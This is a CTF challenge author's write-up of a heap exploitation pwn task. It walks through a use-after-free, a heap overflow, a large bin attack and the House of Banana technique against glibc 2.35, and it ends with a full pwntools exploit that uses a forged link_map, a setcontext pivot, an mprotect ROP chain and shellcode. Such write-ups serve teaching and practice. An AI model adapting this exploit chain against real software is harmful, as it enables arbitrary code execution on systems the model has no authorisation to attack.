The perfect fruit salad | From Dusk Till Dawn CTF Quals - RomHack Camp 2026
Writeup of the pwn challenge The perfect fruit salad I authored for From Dusk Till Dawn CTF Quals 2026, hosted by fibonhack and Cyber Saiyan.
I was reading up on heap exploitation when I found this interesting technique, so I decided to write a challenge about it, adding some fun tricks along the way.
Big shoutout to Axura’s amazing blog article, which was my main reference while creating this challenge. I strongly recommend giving it a read for more insights.
Intro#
The challenge provides us with an ELF binary, its libc (GLIBC 2.35), and its linker.
As the description says, we need to prepare the perfect fruit salad (lol).
If we execute the binary, a menu is displayed:

We can perform the following actions:
- add a new fruit bowl (allocates a chunk with a size between
0x410andMAX_SIZE (0x500)). - throw away a bowl (calls
free()on the chunk). - change a bowl’s fruit (edits the chunk’s content).
- check a bowl’s content (prints the first 32 bytes of the chunk).
- serve the fruit salad! (exits the program).
I added some kaomojis to make the challenge a bit cuter. I hope you enjoyed them (ᵕ • ᴗ •)
Spotting the vulnerabilities#
As usual, we analyze the binary with a disassembler. We can spot some vulnerabilities:
- Use-after-free: Inside the
do_free()function, the program callsfree(slots[s].ptr)but forgets to clear the pointer and set thein_useflag to 0.
This means we can still view and edit chunks even after they have been freed.
- Heap overflow: The
do_edit()function usesread(0, slots[s].ptr, slots[s].size + 0x38).
This allows us to write0x38 (56)bytes out of bounds, letting us corrupt the metadata of the next chunk in memory.
Useful observations#
1. Obtain libc and heap leaks#
Since the minimum allocation size is 0x410, our chunks will bypass the fastbin and tcache entirely, going straight into the unsorted bin (and eventually large bins) when freed.
Thanks to the UAF and the do_view() function, leaking libc and heap addresses from the fd and bk pointers will be trivial.
Libc leak:
- Allocate a chunk
- Free it: chunk goes into unsorted bin -> its fd and bk will point to
main_arena(a libc pointer) - View the chunk to obtain the leak
Heap leak:
- After leaking the libc address, we allocate a new bigger chunk -> the allocator will clear the unsorted bin and move the first chunk into large bin
- In large bin, the chunk’s
fdandbkwill point to heap addresses - View the chunk to obtain the leak
▼ How to leak libc and heap (referencing my exploit)
def leak_libc_heap(io):
# i don't need to allocate chunk 0 since it's already allocated by the binary with the correct size i need
alloc(io, 1, 0x428) # victim
alloc(io, 2, 0x418) # padding
alloc(io, 3, 0x418) # A
alloc(io, 5, 0x418) # padding 2
free(io, 1)
fd, _, _, _ = view(io, 1)
libc_base = fd - 0x21ace0
libc.addr = libc_base
alloc(io, 4, 0x500) # victim goes into large bin
_, _, fd_ns, _ = view(io, 1)
heap0 = fd_ns2. Obtain a linker leak#
Right at the start, the program allocates a chunk at slots[0], then does this:

This writes the address of _r_debug.r_map (which points to the first link_map structure inside the linker) XORed with a qword.
But wait, what is that qword? Let’s check in GDB:

Stepping to the xor instruction:

So, the address of _r_debug.r_map is XORed with the allocated chunk itself! ( ˶°ㅁ°)
By reading this chunk’s content with the view options, we can read the xored value, and since we also have the heap leak obtained before, we can XOR it again to obtain a linker leak!
▼ How to leak a linker address
def leak_ns_loaded(qw0_obfuscated, heap0):
ptr = heap0 - 0x420 # chunk 0
r_map = qw0_obfuscated ^ ptr
# we need to have the _ns_loaded address (I'll explain why later)
_ns_loaded = r_map - 0x1290
return _ns_loaded3. Mitigations??#
When we select option 5 to exit the loop, the program does this:
void **real_io_list_all = (void **)dlsym(RTLD_DEFAULT, "_IO_list_all");
//...
for (;;) {
if (real_io_list_all) *real_io_list_all = NULL;
We can’t hijack _IO_FILE structures during the exit() sequence (so FSOP / House of Apple are not feasible).
Another thing:
static void sigabrt_handler(int signum) {
print_str("HEY!! You made a mess!!! ( 。 •̀ ᴖ •́ 。)💢\n");
_exit(1);
}
If we mess up the heap metadata and trigger abort(), this custom handler catches the signal and calls _exit(1).
This prevents us from using techniques that hijack execution through the abort() routine itself (so House of Emma / House of Kiwi are not feasible).
Exploitation Strategy#
The only trigger we could potentially exploit is the option to exit the program (return 0;) in the main menu.
What we have so far:
- libc leak
- heap leak
- ld leak
Is there a way to use that ld leak to do something ? (•⤙•)
Let’s delve into what happens when a program terminates:
- When a dynamically linked C program returns from main, it walks through exit routines, eventually calling
_dl_finiin the dynamic linker to clean up shared libraries.
Then, let’s take a look at how _dl_fini keeps track of these libraries:
- It iterates through a doubly linked list of
link_mapstructures. - The head of this main namespace list is typically stored at
_rtld_global._dl_ns[0]._ns_loaded.
A link_map is a big and complex structure that describes a loaded shared object. Here’s a simplified structure:

The most interesting part is the l_info array. It holds pointers to Elf64_Dyn structures (Dynamic Section entries), which in turn contain the actual pointers to the execution data.
Let’s check the Elf64_Dyn structure:

During the cleanup phase, the _dl_fini function looks for the .fini_array of each library. This array is simply a list of function pointers (to destructors) that must be executed before the library is unloaded.
_dl_fini locates the .fini_array by looking into l_info:
l_info[DT_FINI_ARRAY](DT_FINI_ARRAY = 26): Points to theElf64_Dynstructure containing the address of the.fini_array:base_addr = l_info[26]->d_un.d_ptrl_info[DT_FINI_ARRAYSZ](DT_FINI_ARRAYSZ = 28): Points to theElf64_Dynstructure containing the total size of the.fini_array:total_size = l_info[28]->d_un.d_val
The internal layout of the
link_mapstructure can slightly differ between glibc versions, so it’s always good practice to double-check them in GDB (˵ ¬ᴗ¬˵)
Interesting idea!! ( ˶°ㅁ°)#
_dl_fini implicitly trusts the contents of the link_map structure.
What if we can trick the dynamic linker into parsing a fake link_map that we fully control?
This way, instead of pointing to legitimate destructors, our fake .fini_array will point directly to our payload (˶˃ ᵕ ˂˶) !
This is the core idea of the House of Banana technique, and we can use it in this case:
- Leak libc, heap, and linker as I explained before,
- Use the heap overflow and UAF to perform a large bin attack and obtain an arbitrary write primitive,
- Overwrite the
_rtld_global._dl_ns[0]._ns_loadedpointer with a fake link_map crafted on our heap, - Control the execution flow when
_dl_finiparses our fake link_map to call the.fini_arrayfunctions.
Yay! Now I’ll break down each step of my exploit in detail (๑’ᵕ'๑)⸝*
Keep in mind that this is just my personal intended solution. There are likely other (and better!) ways to achieve this, but this is how I built the exploit.
Large bin attack#
We need this heap layout:
chunk 0 | victim (in large bin) | padding chunk | A (fake map) | 2nd padding chunk
# i don't need to allocate chunk 0 since it's already allocated by the program with the correct size i need
alloc(io, 1, 0x428) # victim
alloc(io, 2, 0x418) # padding
alloc(io, 3, 0x418) # A (fake map)
alloc(io, 5, 0x418) # padding 2
free(io, 1) # victim goes into unsorted bin
fd, _, _, _ = view(io, 1)
libc_base = fd - 0x21ace0
libc.addr = libc_base
alloc(io, 4, 0x500) # triggers unsorted bin sorting -> victim (1) goes into large bin
Then:
- Allocate a victim chunk and free it. It will go into the unsorted bin.
- Allocate a larger chunk (bowl number = 4). This forces
mallocto sort the unsorted bin, and the victim chunk is moved into the large bin! - Use the heap overflow from
chunk 0to overwrite the victim’sbk_nextsizepointer with_rtld_global._dl_ns[0]._ns_loaded(_ns_loaded - 0x20). - Free
A(goes into the unsorted bin) - Allocate a new chunk (bowl number = 6) larger than
A-> this triggers unsorted bin sorting ->Awill be moved into the large bin.
- Since chunk A’s size is smaller than the victim’s, and chunks in the large bin are sorted in descending size order, the allocator does this:
victim->bk_nextsize->fd_nextsize = A;
-> The address of our fake map is written directly into_rtld_global._dl_ns[0]._ns_loaded, tricking the linker into treating it as a valid link map! (๑•ᴗ•๑)
Building the fake link_map#
I decided to build the content of the fake map like this:
the fake map will contain the rop chain to jump to the shellcode which executes
cat flag.txt.
NX is enabled (╥_╥)
A way to bypass it since we can redirect the execution flow is to call mprotect to make the heap executable!
To call
mprotectwith the correct arguments, I need to do a ROP chain -> but ROP chains are executed by reading return addresses off the stack (ᵕ—ᴗ—)
So I need to callsetcontextto read values from my controlled context in the fake map (by fakingucontext_tstruct)
Specifically I’ll jump tosetcontext+61to skip some initial checks done by it.I need a gadget that does
mov rdx, r15before callingsetcontext:
r15contains a pointer tolink_mapwhen_dl_finiis parsing the map- The gadget will move
r15intordx-> this allows me to load the fakeucontext_tstruct into rdx so it can be read bysetcontext- Then it calls
[rax + 0x38]-> I’ll putsetcontextaddress heresetcontextreads theucontext_tstruct fromrdx
In the fake map I build some parts to overlap withucontext_t(specificallyuc_mcontextregisters) and when_dl_finitries to clean up loaded libraries, it will execute our gadget and callsetcontextinstead!
So the steps will be: mov rdx, r15 gadget -> setcontext -> mprotect -> shellcode
▼ Complete large bin attack
def largebin_attack(io, heap0, target):
fd, bk, _, _ = view(io, 1)
log.info(f"target = {hex(target)}")
log.info(f"bk_nextsize = {hex(target - 0x20)}")
log.info(f"libc_base = {hex(libc.addr)}")
A = heap0 + 0x430 + 0x420 # the fake map will be written in this chunk
shellcode = asm(shellcraft.cat("flag.txt"))
setcontext_61 = libc.addr + libc.sym["setcontext"] + 61
mprotect_sym = libc.addr + libc.sym["mprotect"]
rop = ROP(libc)
p_rdi = libc.addr + rop.find_gadget(["pop rdi", "ret"])[0]
p_rsi = libc.addr + rop.find_gadget(["pop rsi", "ret"])[0]
p_rdx_rbx = libc.addr + rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0]
mov_rdx_r15 = libc.addr + 0x72968
ret = libc.addr + rop.find_gadget(["ret"])[0]
mprotect_rop = flat([
p_rdi, A & ~0xfff, # rdi = base address of my memory page (using chunk A & ~0xfff to align to the page)
p_rsi, 0x4000, # rsi = page dimension
p_rdx_rbx, 7, 0, # 7 = PROT_READ | PROT_WRITE | PROT_EXEC
mprotect_sym,
A + 0x380,
])
fake_map = {
# link map pointers
0x110 - 0x10: p64(A + 0x130), # l_info[26]
0x120 - 0x10: p64(A + 0x140), # l_info[28]
# Elf64_Dyn structs
0x130 - 0x10: p64(26),
0x138 - 0x10: p64(A + 0x150), # points to destructors array
0x140 - 0x10: p64(28),
0x148 - 0x10: p64(8),
# hijack execution
0x150 - 0x10: p64(mov_rdx_r15), # called by _dl_fini
# gadget: call [rax + 0x38]. rax=A+0x150 -> offset 0x188
0x188 - 0x10: p64(setcontext_61),
# registers for ucontext_t struct
# pivots to the rop chain
0x0a0 - 0x10: p64(A + 0x200), # rsp
0x0a8 - 0x10: p64(ret), # jumps to rop chain
# payload
0x200 - 0x10: mprotect_rop,
0x380 - 0x10: shellcode,
L_INIT_CALLED_OFFSET - 0x10: p32(8) # bit 3 active for l_init_called, otherwise _dl_fini skips the destructors call entirely
}
pl = flat(fake_map, filler=b'\x00', length=0x410)
pl = pl + p64(0) + p64(0x421) # header of padding chunk 2
log.info(f"writing fake link_map into chunk A ({hex(A)})")
edit(io, 3, pl.ljust(0x450, b'\x00'))
free(io, 3)
# edit chunk 0 to point to the target (_ns_loaded)
payload = flat([
b'\x00' * 0x410,
p64(0), p64(0x431),
p64(fd), p64(bk),
p64(0), p64(target - 0x20)
]).ljust(0x450, b'\x00')
edit(io, 0, payload)
alloc(io, 6, 0x500)
return AWe won, right? Right?#
No! ( 。 •̀ ᴖ •́ 。)💢
_dl_fini has got this security check:
_ns_nloadedis the number of objects in the loaded list. The number of maps reachable from_ns_loadedmust be =_ns_nloaded, otherwise the program will be killed (ㆆ_ㆆ)
(_ns_nloadedis 4 in this challenge, you can check it in GDB withp _rtld_global._dl_ns[0]._ns_nloaded)
You can view this check in the dl-fini source code of libc 2.35 (the one used in this challenge) with this command in your terminal:
curl -s https://raw.githubusercontent.com/bminor/glibc/glibc-2.35/elf/dl-fini.c | cat -n | grep -A 60 "unsigned int nloaded ="
Here’s the check:
75 unsigned int i;
76 struct link_map *l;
77 assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
78 for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
79 /* Do not handle ld.so in secondary namespaces. */
80 if (l == l->l_real)
81 {
82 assert (i < nloaded);
83
84 maps[i] = l;
85 l->l_idx = i;
86 ++i;
87
88 /* Bump l_direct_opencount of all objects so that they
89 are not dlclose()ed from underneath us. */
90 ++l->l_direct_opencount;
91 }
92 assert (ns != LM_ID_BASE || i == nloaded); // HERE!
93 assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
94 unsigned int nmaps = i;
But hey! No worries!
We can simply build additional maps… (˵ •̀ ᴗ - ˵ ) ✧
(It took me way too long to come up with this idea, rip)
Building the dummy maps#
Create 3 additional dummy link_map structs within the padding chunk:
We have to link them, for example like this:
A(= our fake map) ->map 2->map 3->map 4(map 4 will havel_next = NULLto stop the counter at 4)
For each dummy map (
map 2,map 3,map 4), we set thel_nextpointer (must point to the next map) and thel_realpointer (must point to the map itself)Then we need to fix the header of chunk
Ato link it with the dummy maps
▼ Build fake maps + link the fake map to them
def build_fake_linkmap(io, A):
padding_data = A - 0x410 # start of user data in "bowl" 2, 0x410 byte before chunk A
# build 3 dummy maps, needed to bypass N_LOADED check (expects at least 4 maps)
dummy_maps = flat({
# map 2 @ padding_data
0x000 + 0x18: p64(padding_data + 0x100), # l_next -> map 3
0x000 + 0x28: p64(padding_data + 0x000), # l_real -> self
# map 3 @ padding_data + 0x100
0x100 + 0x18: p64(padding_data + 0x200), # l_next -> map 4
0x100 + 0x28: p64(padding_data + 0x100), # l_real -> self
# map 4 @ padding_data + 0x200
0x200 + 0x18: p64(0), # l_next -> NULL (stops the counter = 4)
0x200 + 0x28: p64(padding_data + 0x200), # l_real -> self
}, filler=b'\x00', length=0x410)
# fix A chunk header and pointers to align the first map
payload = dummy_maps + flat([
p64(0), # offset 0x00: l_addr / prev_size
p64(0x421), # offset 0x08: l_name / size
p64(0), # offset 0x10: l_ld / fd
p64(padding_data), # offset 0x18: l_next / bk -> points to map 1
p64(0), # offset 0x20: l_prev / fd_nextsize
p64(A) # offset 0x28: l_real / bk_nextsize -> must be chunk A
])
log.info("fix A + forge dummy maps")
edit(io, 2, payload.ljust(0x450, b'\x00'))-> this method bypasses the _ns_nloaded assertion!
We (finally) won!#
When the program terminates, exit is called, which triggers _dl_fini to clean up loaded libraries:
_dl_finiparses the fake map- The program jumps to the
mov_rdx_r15gadget, which loads the fake context intordx setcontextpivotsrspto our ROP chain- the ROP chain is executed, granting executable permissions to the heap
- the program executes the shellcode to print the flag!
Conclusion#
I had fun learning about the House of Banana technique, and writing a challenge about it wasn’t easy!
There were moments where I was stuck and it took me a bit to rethink the challenge details or reorganize my exploit strategy.
See you at the RomHack Camp! (๑•ᴗ•๑)
Full exploit#
from pwn import *
elf = ELF("./chall", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.binary = elf
context.arch = "amd64"
context.log_level = "info"
context.terminal = ["tmux", "splitw", "-h"]
L_INIT_CALLED_OFFSET = 0x31c # offset of the l_init_called flag from the start of link_map structure
GDBSCRIPT = """
c
"""
def start():
if args.GDB: return gdb.debug(elf.path, gdbscript=GDBSCRIPT)
if args.DOCKER: return remote("127.0.0.1", 1337)
if args.REMOTE: return remote("host", 1337)
if args.LOCAL: return process(elf.path)
else: return error("You must specify an argument")
def alloc(io, slot, size):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"number:", str(slot).encode())
io.sendlineafter(b"size:", str(size).encode())
io.recvuntil(b"\n")
def free(io, slot):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"number:", str(slot).encode())
def edit(io, slot, data):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"number:", str(slot).encode())
io.sendafter(b"content: ", data)
def view(io, slot):
io.sendlineafter(b"> ", b"4")
io.sendlineafter(b":", str(slot).encode())
io.recvuntil(b"] "); qw0 = int(io.recvline(), 16)
io.recvuntil(b"] "); qw1 = int(io.recvline(), 16)
io.recvuntil(b"] "); qw2 = int(io.recvline(), 16)
io.recvuntil(b"] "); qw3 = int(io.recvline(), 16)
return qw0, qw1, qw2, qw3
def exit(io):
io.sendlineafter(b"> ", b"5")
def leak_libc_heap(io):
# i don't need to allocate chunk 0 since it's already allocated by the binary with the correct size i need
alloc(io, 1, 0x428) # victim
alloc(io, 2, 0x418) # padding
alloc(io, 3, 0x418) # A
alloc(io, 5, 0x418) # padding 2
free(io, 1) # goes into unsorted bin
fd, _, _, _ = view(io, 1)
libc_base = fd - 0x21ace0
libc.addr = libc_base
alloc(io, 4, 0x500) # triggers unsorted bin sorting -> victim (1) goes into large bin
_, _, fd_ns, _ = view(io, 1)
heap0 = fd_ns
print("libc", hex(libc_base))
print("heap0: ", hex(heap0))
# pause()
return heap0
def largebin_attack(io, heap0, target):
fd, bk, _, _ = view(io, 1)
log.info(f"target = {hex(target)}")
log.info(f"bk_nextsize = {hex(target - 0x20)}")
log.info(f"libc_base = {hex(libc.addr)}")
A = heap0 + 0x430 + 0x420
shellcode = asm(shellcraft.cat("flag.txt"))
setcontext_61 = libc.addr + libc.sym["setcontext"] + 61
mprotect_sym = libc.addr + libc.sym["mprotect"]
rop = ROP(libc)
p_rdi = libc.addr + rop.find_gadget(["pop rdi", "ret"])[0]
p_rsi = libc.addr + rop.find_gadget(["pop rsi", "ret"])[0]
p_rdx_rbx = libc.addr + rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0]
# mov rdx, r15; mov rsi, r12; mov rdi, rbp; call qword ptr [rax + 0x38];
mov_rdx_r15 = libc.addr + 0x72968 # find it with ropper --file libc.so.6 --search 'mov rdx, r15'
ret = libc.addr + rop.find_gadget(["ret"])[0]
mprotect_rop = flat([
p_rdi, A & ~0xfff, # rdi = base address of my memory page (using chunk A & ~0xfff to align to the page)
p_rsi, 0x4000, # rsi = page dimension
p_rdx_rbx, 7, 0, # 7 = PROT_READ | PROT_WRITE | PROT_EXEC
mprotect_sym,
A + 0x380,
])
fake_map = {
# link map pointers
0x110 - 0x10: p64(A + 0x130), # l_info[26]
0x120 - 0x10: p64(A + 0x140), # l_info[28]
# Elf64_Dyn structs
0x130 - 0x10: p64(26),
0x138 - 0x10: p64(A + 0x150), # points to destructors array
0x140 - 0x10: p64(28),
0x148 - 0x10: p64(8),
# hijack execution
0x150 - 0x10: p64(mov_rdx_r15), # called by _dl_fini
# gadget: call [rax + 0x38]. rax=A+0x150 -> offset 0x188
0x188 - 0x10: p64(setcontext_61),
# ucontext_t registers (uc_mcontext)
0x0a0 - 0x10: p64(A + 0x200), # rsp
0x0a8 - 0x10: p64(ret), # jumps to rop chain
# rop + shellcode
0x200 - 0x10: mprotect_rop,
0x380 - 0x10: shellcode,
L_INIT_CALLED_OFFSET - 0x10: p32(8) # bit 3 active for l_init_called
}
pl = flat(fake_map, filler=b'\x00', length=0x410)
pl = pl + p64(0) + p64(0x421) # header of padding chunk 2
log.info(f"writing fake link_map into chunk A ({hex(A)})")
edit(io, 3, pl.ljust(0x450, b'\x00')) # build the fake map into A + corrupt next chunk (padding 2) metadata
free(io, 3) # free chunk A -> goes into unsorted bin
# edit victim chunk's metadata to point to the target (_ns_loaded)
payload = flat([
b'\x00' * 0x410,
p64(0), p64(0x431),
p64(fd), p64(bk),
p64(0), p64(target - 0x20)
]).ljust(0x450, b'\x00')
edit(io, 0, payload)
alloc(io, 6, 0x500) # allocate a larger chunk -> A is moved into large bin
return A
def build_fake_linkmap(io, A):
padding_data = A - 0x410 # start of user data in "bowl" 2, 0x410 byte before chunk A
# build dummy maps, needeed to bypass N_LOADED check (expects at least 4 maps)
dummy_maps = flat({
# map 2 @ padding_data
0x000 + 0x18: p64(padding_data + 0x100), # l_next -> map 3
0x000 + 0x28: p64(padding_data + 0x000), # l_real -> self
# map 3 @ padding_data + 0x100
0x100 + 0x18: p64(padding_data + 0x200), # l_next -> map 4
0x100 + 0x28: p64(padding_data + 0x100), # l_real -> self
# map 4 @ padding_data + 0x200
0x200 + 0x18: p64(0), # l_next -> NULL (stops the counter = 4)
0x200 + 0x28: p64(padding_data + 0x200), # l_real -> self
}, filler=b'\x00', length=0x410)
# fix A chunk header and pointers to link it to the other dummy maps
payload = dummy_maps + flat([
p64(0), # offset 0x00: l_addr / prev_size
p64(0x421), # offset 0x08: l_name / size
p64(0), # offset 0x10: l_ld / fd
p64(padding_data), # offset 0x18: l_next / bk -> points to map 1
p64(0), # offset 0x20: l_prev / fd_nextsize
p64(A) # offset 0x28: l_real / bk_nextsize -> must be chunk A
])
log.info("fix A + forge dummy maps")
edit(io, 2, payload.ljust(0x450, b'\x00'))
def leak_ns_loaded(qw0_obfuscated, heap0):
ptr = heap0 - 0x420
r_map = qw0_obfuscated ^ ptr
_ns_loaded = r_map - 0x1290
log.info(f"r_map = {hex(r_map)}")
log.info(f"_ns_loaded address = {hex(_ns_loaded)}")
return _ns_loaded
def read_hint(io):
qw0, _, _, _ = view(io, 0)
return qw0
def pwn():
io = start()
hint = read_hint(io)
heap0 = leak_libc_heap(io)
_ns_loaded = leak_ns_loaded(hint, heap0)
fake_lm = largebin_attack(io, heap0, _ns_loaded)
build_fake_linkmap(io, fake_lm)
log.info("exiting")
exit(io)
io.interactive()
if __name__ == "__main__":
pwn()